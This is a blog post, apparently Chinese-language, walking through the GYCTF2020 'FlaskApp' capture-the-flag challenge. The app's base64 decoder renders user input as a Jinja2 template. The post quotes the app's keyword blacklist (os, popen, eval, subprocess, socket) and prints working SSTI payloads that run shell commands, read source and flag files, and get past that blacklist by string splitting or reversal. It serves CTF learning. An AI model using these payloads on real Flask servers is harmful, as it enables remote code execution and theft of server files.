[GYCTF2020]FlaskApp(SSTI)

进入题目:
在这里插入图片描述
是一个用flask写的一个base64加解密应用。有一个加密页面和解密页面,思路应该是在加密页面输入payload进行加密,加密结果在解密页面进行解密,输出解密后的payload被渲染到页面输出后执行了payload。

官方write up说看到根据hint1,失败乃成功之母,应该能想到flask的debug模式。但是我当时看到的时候并没有想到是debug模式,这就是没有进行足够积累的后果。
在这里插入图片描述
base64decode在不会解析的时候就会报错,然后习惯性对base64解密页面进行报错实验,base64解密界面随意输入字符串,导致解码报错,进入Debug页面,发现了部分源码。
在这里插入图片描述
在这里插入图片描述
有关解密的关键代码如下:

获取我们传的text参数,进行解密,如果可以过waf则执行代码。

@app.route('/decode',methods=['POST','GET'])
def decode():
	if request.values.get('text') :
		text = request.values.get("text")
		text_decode = base64.b64decode(text.encode())
		tmp = "结果 : {0}".format(text_decode.decode())
		if waf(tmp) :
			flash("no no no !!")
			return redirect(url_for('decode'))
		res =  render_template_string(tmp)    # 模板渲染

所以可以使用ssti注入。我们简单试一试:
加密页面:
在这里插入图片描述
解密:
在这里插入图片描述
发现确实存在ssti注入。
直接执行命令:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
// 查看根目录

在这里插入图片描述
我靠!!!发现不行,
所以要思索一下app.py里的那个waf()函数他是不是过滤了什么。
读源码:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

在python3下已经没有file了,所以是直接用open。
在这里插入图片描述
waf函数发现了过滤
原来是flag和os等被过滤。
在这里插入图片描述

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

那么我们可以利用字符串拼接找目录与执行命令。
扫描根目录/:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
在这里插入图片描述
发现了this_is_the_flag.txt
读取this_is_the_flag.txt:
由于waf过滤了flag,所以我们对“flag”进行拼接:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

得到flag:
在这里插入图片描述
也可使用切片的形式,省去了拼接"flag"的步骤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[::-1]来进行倒置。

vulhub靶场是一个专注于网络安全渗透测试和漏洞利用的平台,其中可以通过各种漏洞学习到不同的攻击技术。这次我们来讨论vulhub靶场中的一个特定教程:flask/ssti。 在flask/ssti教程中,我们将学习到的是Flask应用程序中的服务器端模板注入(Server-side Template Injection, SSTI)漏洞。这种漏洞的出现是由于Flask应用程序在渲染服务器端模板时没有适当的过滤和限制用户输入的内容,导致恶意用户可以在模板中执行任意的代码。这种漏洞的潜在风险非常高,攻击者可以利用它们执行代码,获取敏感信息甚至在服务器上执行任意命令。 在vulhub靶场中,我们将通过一个具体的示例来演示flask/ssti漏洞的利用。首先,我们需要安装所需的环境,包括Docker和Python;接下来,我们将根据教程提供的源代码和构建脚本,构建和启动一个漏洞应用程序;然后,我们将尝试在应用程序的输入框中输入一些特定代码,以执行任意的命令或获取敏感信息。 通过这个教程,我们可以了解到服务器端模板注入漏洞的原理和危害,并且学习到如何通过构造恶意输入来利用这种漏洞。同时,了解到安全开发中对用户输入的过滤和限制的重要性,以及如何防止和修复这种漏洞。 总之,vulhub靶场中的flask/ssti教程为我们提供了一个实践学习服务器端模板注入漏洞的机会,通过理论和实践相结合的方式,帮助我们更好地了解和掌握网络安全领域中的渗透测试和漏洞利用技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值